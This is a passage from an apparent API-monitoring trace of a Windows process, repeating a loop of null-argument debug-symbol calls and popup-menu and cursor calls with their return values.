SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.987] SymCleanup (hProcess=0x0) returned 0 [0140.987] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.987] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.987] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.987] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.987] GetLastError () returned 0x579 [0140.987] SetLastError (dwErrCode=0x579) [0140.987] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.987] SymCleanup (hProcess=0x0) returned 0 [0140.987] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.987] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.987] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.987] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.987] GetLastError () returned 0x579 [0140.987] SetLastError (dwErrCode=0x579) [0140.987] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.987] SymCleanup (hProcess=0x0) returned 0 [0140.987] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.987] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.987] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.987] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.987] GetLastError () returned 0x579 [0140.987] SetLastError (dwErrCode=0x579) [0140.987] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.988] SymCleanup (hProcess=0x0) returned 0 [0140.988] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.988] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.988] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.988] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=495, param_4=519, param_5=0x0, param_6=0x0) returned 0 [0140.988] GetLastError () returned 0x579 [0140.988] SetLastError (dwErrCode=0x579) [0140.988] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.988] SymCleanup (hProcess=0x0) returned 0 [0140.988] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.988] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.988] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.988] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.988] GetLastError () returned 0x579 [0140.988] SetLastError (dwErrCode=0x579) [0140.988] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.988] SymCleanup (hProcess=0x0) returned 0 [0140.988] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.988] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.988] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.988] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.988] GetLastError () returned 0x579 [0140.988] SetLastError (dwErrCode=0x579) [0140.988] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.988] SymCleanup (hProcess=0x0) returned 0 [0140.988] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.989] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.989] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.989] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.989] GetLastError () returned 0x579 [0140.989] SetLastError (dwErrCode=0x579) [0140.989] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.989] SymCleanup (hProcess=0x0) returned 0 [0140.989] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.989] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.989] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.989] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.989] GetLastError () returned 0x579 [0140.989] SetLastError (dwErrCode=0x579) [0140.989] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.989] SymCleanup (hProcess=0x0) returned 0 [0140.989] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.989] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.989] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.989] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=123, param_4=820, param_5=0x0, param_6=0x0) returned 0 [0140.989] GetLastError () returned 0x579 [0140.989] SetLastError (dwErrCode=0x579) [0140.989] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.989] SymCleanup (hProcess=0x0) returned 0 [0140.989] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.989] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.989] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.990] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.990] GetLastError () returned 0x579 [0140.990] SetLastError (dwErrCode=0x579) [0140.990] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.990] SymCleanup (hProcess=0x0) returned 0 [0140.990] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.990] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.990] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.990] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.990] GetLastError () returned 0x579 [0140.990] SetLastError (dwErrCode=0x579) [0140.990] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.990] SymCleanup (hProcess=0x0) returned 0 [0140.990] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.990] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.990] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.990] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.990] GetLastError () returned 0x579 [0140.990] SetLastError (dwErrCode=0x579) [0140.990] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.990] SymCleanup (hProcess=0x0) returned 0 [0140.990] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.990] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.990] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.990] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.991] GetLastError () returned 0x579 [0140.991] SetLastError (dwErrCode=0x579) [0140.991] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.991] SymCleanup (hProcess=0x0) returned 0 [0140.991] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.991] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.991] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.991] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=736, param_4=281, param_5=0x0, param_6=0x0) returned 0 [0140.991] GetLastError () returned 0x579 [0140.991] SetLastError (dwErrCode=0x579) [0140.991] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.991] SymCleanup (hProcess=0x0) returned 0 [0140.991] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.991] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.991] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.991] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.991] GetLastError () returned 0x579 [0140.991] SetLastError (dwErrCode=0x579) [0140.991] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.991] SymCleanup (hProcess=0x0) returned 0 [0140.991] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.991] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.991] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.991] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.991] GetLastError () returned 0x579 [0140.992] SetLastError (dwErrCode=0x579) [0140.992] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.992] SymCleanup (hProcess=0x0) returned 0 [0140.992] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.992] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.992] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.992] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.992] GetLastError () returned 0x579 [0140.992] SetLastError (dwErrCode=0x579) [0140.992] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.992] SymCleanup (hProcess=0x0) returned 0 [0140.992] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.992] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.992] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.992] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.992] GetLastError () returned 0x579 [0140.992] SetLastError (dwErrCode=0x579) [0140.992] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.992] SymCleanup (hProcess=0x0) returned 0 [0140.992] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.992] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.992] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.992] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=138, param_4=261, param_5=0x0, param_6=0x0) returned 0 [0140.992] GetLastError () returned 0x579 [0140.992] SetLastError (dwErrCode=0x579) [0140.992] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.993] SymCleanup (hProcess=0x0) returned 0 [0140.993] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.993] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.993] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.993] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.993] GetLastError () returned 0x579 [0140.993] SetLastError (dwErrCode=0x579) [0140.993] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.993] SymCleanup (hProcess=0x0) returned 0 [0140.993] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.993] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.993] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.993] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.993] GetLastError () returned 0x579 [0140.993] SetLastError (dwErrCode=0x579) [0140.993] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.993] SymCleanup (hProcess=0x0) returned 0 [0140.993] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.993] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.993] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.993] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.993] GetLastError () returned 0x579 [0140.993] SetLastError (dwErrCode=0x579) [0140.993] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.993] SymCleanup (hProcess=0x0) returned 0 [0140.993] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.993] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.994] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.994] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.994] GetLastError () returned 0x579 [0140.994] SetLastError (dwErrCode=0x579) [0140.994] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.994] SymCleanup (hProcess=0x0) returned 0 [0140.994] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.994] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.994] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.994] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1040, param_4=485, param_5=0x0, param_6=0x0) returned 0 [0140.994] GetLastError () returned 0x579 [0140.994] SetLastError (dwErrCode=0x579) [0140.994] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.994] SymCleanup (hProcess=0x0) returned 0 [0140.994] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.994] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.994] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.994] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.994] GetLastError () returned 0x579 [0140.994] SetLastError (dwErrCode=0x579) [0140.994] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.994] SymCleanup (hProcess=0x0) returned 0 [0140.994] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.994] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.994] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.995] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.995] GetLastError () returned 0x579 [0140.995] SetLastError (dwErrCode=0x579) [0140.995] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.995] SymCleanup (hProcess=0x0) returned 0 [0140.995] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.995] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.995] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.995] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.995] GetLastError () returned 0x579 [0140.995] SetLastError (dwErrCode=0x579) [0140.995] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.995] SymCleanup (hProcess=0x0) returned 0 [0140.995] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.995] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.995] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.995] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.995] GetLastError () returned 0x579 [0140.995] SetLastError (dwErrCode=0x579) [0140.995] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.995] SymCleanup (hProcess=0x0) returned 0 [0140.995] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.995] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.995] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.995] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1428, param_4=342, param_5=0x0, param_6=0x0) returned 0 [0140.996] GetLastError () returned 0x579 [0140.996] SetLastError (dwErrCode=0x579) [0140.996] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.996] SymCleanup (hProcess=0x0) returned 0 [0140.996] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.996] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.996] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.996] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.996] GetLastError () returned 0x579 [0140.996] SetLastError (dwErrCode=0x579) [0140.996] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.996] SymCleanup (hProcess=0x0) returned 0 [0140.996] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.996] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.996] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.996] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.996] GetLastError () returned 0x579 [0140.996] SetLastError (dwErrCode=0x579) [0140.996] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.996] SymCleanup (hProcess=0x0) returned 0 [0140.996] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.996] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.996] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.996] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.996] GetLastError () returned 0x579 [0140.997] SetLastError (dwErrCode=0x579) [0140.997] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.997] SymCleanup (hProcess=0x0) returned 0 [0140.997] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.997] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.997] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.997] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.997] GetLastError () returned 0x579 [0140.997] SetLastError (dwErrCode=0x579) [0140.997] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.997] SymCleanup (hProcess=0x0) returned 0 [0140.997] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.997] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.997] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.997] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1120, param_4=311, param_5=0x0, param_6=0x0) returned 0 [0140.997] GetLastError () returned 0x579 [0140.997] SetLastError (dwErrCode=0x579) [0140.997] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.997] SymCleanup (hProcess=0x0) returned 0 [0140.997] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.997] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.997] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.997] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.997] GetLastError () returned 0x579 [0140.997] SetLastError (dwErrCode=0x579) [0140.997] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.998] SymCleanup (hProcess=0x0) returned 0 [0140.998] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.998] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 